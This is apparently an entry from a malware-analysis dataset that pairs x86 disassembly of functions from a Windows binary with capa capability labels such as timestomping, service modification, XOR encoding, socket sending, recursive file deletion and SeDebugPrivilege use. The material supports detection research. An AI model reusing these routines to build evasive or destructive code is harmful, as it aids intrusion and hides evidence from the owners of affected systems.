joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41021d
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
xor ebx, ebx
push 0x40
pop ecx
push dword [ebp + 8]
xor eax, eax
mov byte [ebp - 0x108], bl
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], ebx
mov dword [edi], ebx
call fcn.00413638
mov esi, eax
cmp esi, 9
pop ecx
jb 0x4102ed
lea eax, [esi - 8]
push esi
mov dword [edi], eax
call fcn.00410adc
pop ecx
push ebx
push 0x80
push 3
push ebx
push 1
push accept
push dword [ebp + 8]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0x10], eax
je 0x4102e6
push ebx
lea ecx, [ebp - 4]
push ecx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp + 0xc]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x108]
add edx, 0xf3
push edx
push eax
call fcn.00413470
push eax
push esi
push edi
call fcn.0041a46e
lea ebx, [esi + edi]
add esi, 0xfffffffc
push esi
push edi
call fcn.00410201
add esp, 0x1c
cmp dword [ebx - 4], eax
jne 0x4102e6
mov eax, dword [ebx - 8]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov eax, edi
jmp 0x4102ef
push edi
call fcn.00410b23
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410572
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov edi, 0x80
push edi
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
call esi
push ebx
push edi
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4105d6
mov edi, dword [ebp + 0x10]
push 0
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push dword [ebp + 8]
call esi
cmp dword [ebp - 4], edi
jne 0x4105d6
mov al, 1
jmp 0x4105d8
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4105dd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
mov byte [ebp - 0x210], 0
lea edi, [ebp - 0x20f]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x10c], al
push 0x40
pop ecx
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00413f2b
mov esi, dword [ebp + 0x10]
lea ebx, [esi + 8]
push ebx
mov dword [ebp - 8], eax
call fcn.00410adc
push esi
push dword [ebp + 0xc]
mov edi, eax
push edi
call fcn.004216d0
push 4
lea ecx, [ebp - 8]
lea eax, [edi + esi]
push ecx
push eax
mov dword [ebp + 0x10], eax
call fcn.004216d0
add esi, 4
push esi
push edi
call fcn.00410201
mov dword [ebp - 4], eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0x10]
add eax, 4
push eax
call fcn.004216d0
movzx eax, byte [ebp + 8]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x210]
add edx, 0xf3
push edx
push eax
call fcn.00413470
push eax
push ebx
push edi
call fcn.0041a3d2
add esp, 0x44
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call fcn.0041353f
cmp byte [0x458dd8], 0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
pop ecx
pop ecx
je 0x410788
push 0x458ee8
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.00410572
lea eax, [ebp - 0x10c]
push eax
push 0x26
call fcn.00413ed7
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.00410572
lea eax, [ebp - 0x10c]
push eax
push 0x1c
call fcn.00413ed7
add esp, 0x14
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.00410572
add esp, 0xc
push 0xf0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x42a3a8
lea eax, [ebp - 0x10c]
push eax
call esi
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.00410572
add esp, 0xc
push 0x458ff0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.00410572
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.00410572
push edi
call fcn.00410b23
add esp, 0x10
pop edi
pop esi
mov al, 1
pop ebx
leave
ret
Function at 0x4114f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x10
pop ecx
xor eax, eax
push 0x100
push eax
mov byte [ebp - 0x44], 0
lea edi, [ebp - 0x43]
push ebx
rep stosd dword es:[edi], eax
call fcn.00421a10
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
call fcn.0041a50a
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.0041716b
push 0x40
lea eax, [ebp - 0x44]
push eax
lea eax, [ebx + 0x20]
push eax
call fcn.004216d0
add esp, 0x28
push 0x40
lea edi, [ebx + 0x60]
lea esi, [ebx + 0x5a]
pop ecx
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov cl, byte [eax + ebx + 0x9f]
xor cl, byte [eax + ebx]
inc eax
cmp eax, 0x20
mov byte [eax + ebx + 0x9f], cl
jl 0x41154b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
xor ecx, ecx
test esi, esi
jle 0x411589
mov al, byte [ecx + ebx + 0xbd]
xor al, byte [ecx + ebx]
inc ecx
cmp ecx, esi
mov byte [ecx + ebx + 0xbf], al
jl 0x411573
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x411be4
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x119c
call fcn.00421ba0
push ebx
push esi
push edi
push 0x46
lea eax, [ebp - 0x70]
push eax
push str.ddd__dd_MMM_yyyy
xor ebx, ebx
push ebx
push ebx
mov esi, 0x409
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0x1e
lea eax, [ebp - 0x28]
push eax
push str.HH:mm:ss
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
push 0x12c
lea eax, [ebp - 0x19c]
push eax
push 0x42fe10
call fcn.0041321d
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push eax
lea eax, [ebp - 0x119c]
push eax
call esi
mov eax, 0x448072
add esp, 0x20
mov dword [ebp - 8], eax
mov edi, eax
mov dword [ebp - 4], 0x13
push 2
push dword [ebp + 0xc]
lea eax, [edi - 2]
push eax
call fcn.00422291
add esp, 0xc
test eax, eax
jne 0x411c90
mov dword [ebp - 8], edi
add edi, 0x80
dec dword [ebp - 4]
jne 0x411c78
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str._h1__s__h1__r_n_r_n
lea eax, [ebp - 0x119c]
push eax
call edi
lea eax, [ebp + eax - 0x119c]
push eax
call esi
add esp, 0xc
push ebx
lea eax, [ebp - 0x119c]
push eax
call edi
push eax
lea eax, [ebp - 0x119c]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41350c
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push 0x458d98
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
movzx eax, al
xor ecx, ecx
test eax, eax
jbe 0x41353b
push edi
movzx edx, byte [ecx + 0x458d98]
mov edi, edx
imul edi, esi
xor edi, edx
inc ecx
cmp ecx, eax
mov esi, edi
jb 0x413525
pop edi
mov eax, esi
pop esi
ret

Function at 0x413638
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push accept
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
inc eax
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x41381f
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push 0xf003f
push str.ServicesActive
xor ebx, ebx
push ebx
mov byte [ebp - 1], 1
call dword [0x458c44]
mov esi, eax
cmp esi, ebx
jne 0x413848
xor al, al
jmp 0x4138a0
push edi
push 0xf01ff
push dword [ebp + 8]
push esi
call dword [0x458cd4]
mov edi, eax
cmp edi, ebx
jne 0x413861
mov byte [ebp - 1], bl
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [0x458c70]
test eax, eax
jne 0x413875
mov byte [ebp - 1], bl
cmp byte [ebp + 0xc], bl
je 0x41388e
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push edi
call dword [0x458bb0]
push esi
call dword [0x458bb0]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4138a4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret
Function at 0x4138b9
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00421b28
pop ecx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov word [ebp - 0x28], 0x7d9
call fcn.00421b32
cdq
push 7
pop ecx
idiv ecx
mov word [ebp - 0x26], dx
call fcn.00421b32
push 0x12
cdq
pop ecx
idiv ecx
mov esi, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x22], dx
call esi
inc word [ebp - 0x26]
add word [ebp - 0x22], 2
call fcn.00421b32
cdq
push 0xa
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x20], dx
call fcn.00421b32
cdq
push 0x32
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x1e], dx
call fcn.00421b32
push 0x37
cdq
pop ecx
idiv ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x1c], dx
call esi
call fcn.00421b32
cdq
push 2
pop ecx
idiv ecx
add word [ebp - 0x22], 3
add word [ebp - 0x26], dx
call fcn.00421b32
cdq
push 0xa
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x20], dx
call fcn.00421b32
cdq
push 0x32
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x1e], dx
call fcn.00421b32
push 0x37
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x1c], dx
call esi
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4139d9
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
leave
ret
Function at 0x4139dc
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push dword [ebp + 8]
call fcn.00413638
xor ebx, ebx
cmp eax, ebx
pop ecx
mov dword [ebp - 0xc], eax
ja 0x4139fc
xor al, al
jmp 0x413acf
push esi
push edi
push 0x100000
call fcn.00410adc
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
pop ecx
push ebx
mov edi, 0x80
push edi
push 3
push ebx
push 1
push accept
push dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov byte [ebp - 1], bl
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], ebx
call esi
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x413aa7
push ebx
push edi
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x413aaa
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, 0x100000
cmp dword [ebp - 0xc], eax
push ebx
jb 0x413a6b
lea ecx, [ebp - 8]
push ecx
push eax
jmp 0x413a72
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call esi
test eax, eax
je 0x413aaa
push ebx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x413aaa
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 8], eax
jne 0x413aaa
sub dword [ebp - 0xc], eax
jne 0x413a59
mov byte [ebp - 1], 1
jmp 0x413aaa
mov edi, dword [ebp - 0x1c]
cmp dword [ebp - 0x10], ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x413aba
push dword [ebp - 0x10]
call esi
cmp edi, ebx
je 0x413ac1
push edi
call esi
push dword [ebp - 0x14]
call fcn.00410b23
mov al, byte [ebp - 1]
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x413ad2
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x413aea
xor al, al
pop esi
ret
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
setne al
pop esi
ret
Function at 0x413c43
Capabilities:
Create directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
lea eax, [ebp - 0xc]
push eax
xor esi, esi
push 8
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x458cc4]
test eax, eax
jne 0x413c74
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x413d98
push edi
lea eax, [ebp - 8]
push eax
push esi
push esi
xor edi, edi
inc edi
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x7a
je 0x413c9e
call esi
mov esi, eax
jmp 0x413d81
push ebx
push dword [ebp - 8]
call fcn.00410adc
pop ecx
mov ebx, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push ebx
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x413d62
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 0x10
push eax
mov dword [ebp - 0x10], eax
call fcn.00410adc
pop ecx
push 2
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
je 0x413d62
push dword [ebx]
push 0x101fffff
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
test eax, eax
je 0x413d62
push edi
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push edi
push dword [ebp - 4]
lea eax, [ebp - 0x30]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push edi
push dword [ebx]
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push edi
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorGroup]
push edi
push 0
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorSacl]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call esi
test ebx, ebx
mov esi, eax
je 0x413d71
push ebx
call fcn.00410b23
pop ecx
cmp dword [ebp - 4], 0
pop ebx
je 0x413d81
push dword [ebp - 4]
call fcn.00410b23
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x414594
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1114
call fcn.00421ba0
push 1
push str.SeDebugPrivilege
mov byte [ebp - 1], 0
call fcn.00413b5a
test eax, eax
pop ecx
pop ecx
je 0x4145d1
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x1114]
push eax
call dword [0x458c04]
test eax, eax
jne 0x4145d5
xor eax, eax
leave
ret
mov eax, dword [ebp - 0xc]
shr eax, 2
je 0x41468a
push esi
push edi
lea esi, [ebp - 0x1114]
mov dword [ebp - 8], eax
push str.unknown
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [esi]
push 0
push 0x411
call dword [0x458b44]
mov edi, eax
test edi, edi
je 0x41466b
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push edi
call dword [0x458c5c]
test eax, eax
je 0x414662
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x10]
push edi
call dword [0x458adc]
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x414662
push eax
push edi
call dword [0x458b84]
test eax, eax
je 0x414662
mov byte [ebp - 1], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41467c
cmp dword [esi], 0
jbe 0x41467c
push esi
push 0x405ed7
call dword [sym.imp.USER32.dll_EnumWindows]
add esi, 4
dec dword [ebp - 8]
jne 0x4145ec
pop edi
pop esi
movzx eax, byte [ebp - 1]
leave
ret
Function at 0x414690
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
inc dword [ebp + 0xc]
lea eax, [ebp - 0x348]
push str._s
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4147d9
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x414746
cmp byte [ebp - 0x218], 0x2e
je 0x4147c3
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x42a3a0
push eax
call edi
push dword [ebp + 0x14]
lea eax, [ebp - 0x104]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.00414690
add esp, 0x20
test eax, eax
je 0x4147c3
cmp dword [ebp + 0xc], 2
jg 0x4147c3
xor esi, esi
inc esi
jmp 0x4147db
cmp dword [ebp + 0x10], 0
je 0x414776
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp + 0x14], eax
jge 0x4147c3
sub eax, dword [ebp + 0x14]
push dword [ebp + 0x10]
lea eax, [ebp + eax - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4147c3
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x42a3a8
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call esi
push 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x244]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4146e6
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x414cee
Capabilities:
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.004138a4
test eax, eax
pop ecx
jne 0x414d02
mov al, 1
pop esi
ret
push esi
call fcn.00413d9b
pop ecx
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call fcn.00413b0f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
setne al
pop esi
ret

Function at 0x41554f
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
xor ebx, ebx
mov edi, 0x4154ef
push edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call esi
cmp dword [ebp - 0xc], ebx
jne 0x415591
cmp dword [ebp - 4], ebx
je 0x415591
lea eax, [ebp - 0xc]
push eax
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call esi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
pop ebx
leave
ret
Function at 0x415af3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
and dword [ebp - 4], 0
push edi
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x415b27
xor eax, eax
jmp 0x415b6c
push 0x258
lea eax, [ebp - 0x260]
push eax
push str.1_Uj_t_
call fcn.0041321d
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
leave
ret

Function at 0x415f11
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2810
call fcn.00421ba0
push esi
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp + 0x14]
mov esi, eax
lea eax, [ebp - 0x2810]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.00421a10
add esp, 0xc
push dword [ebp + 0x10]
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov eax, dword [ebp + 0xc]
push 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
lea eax, [ebp - 0x2810]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
pop esi
leave
ret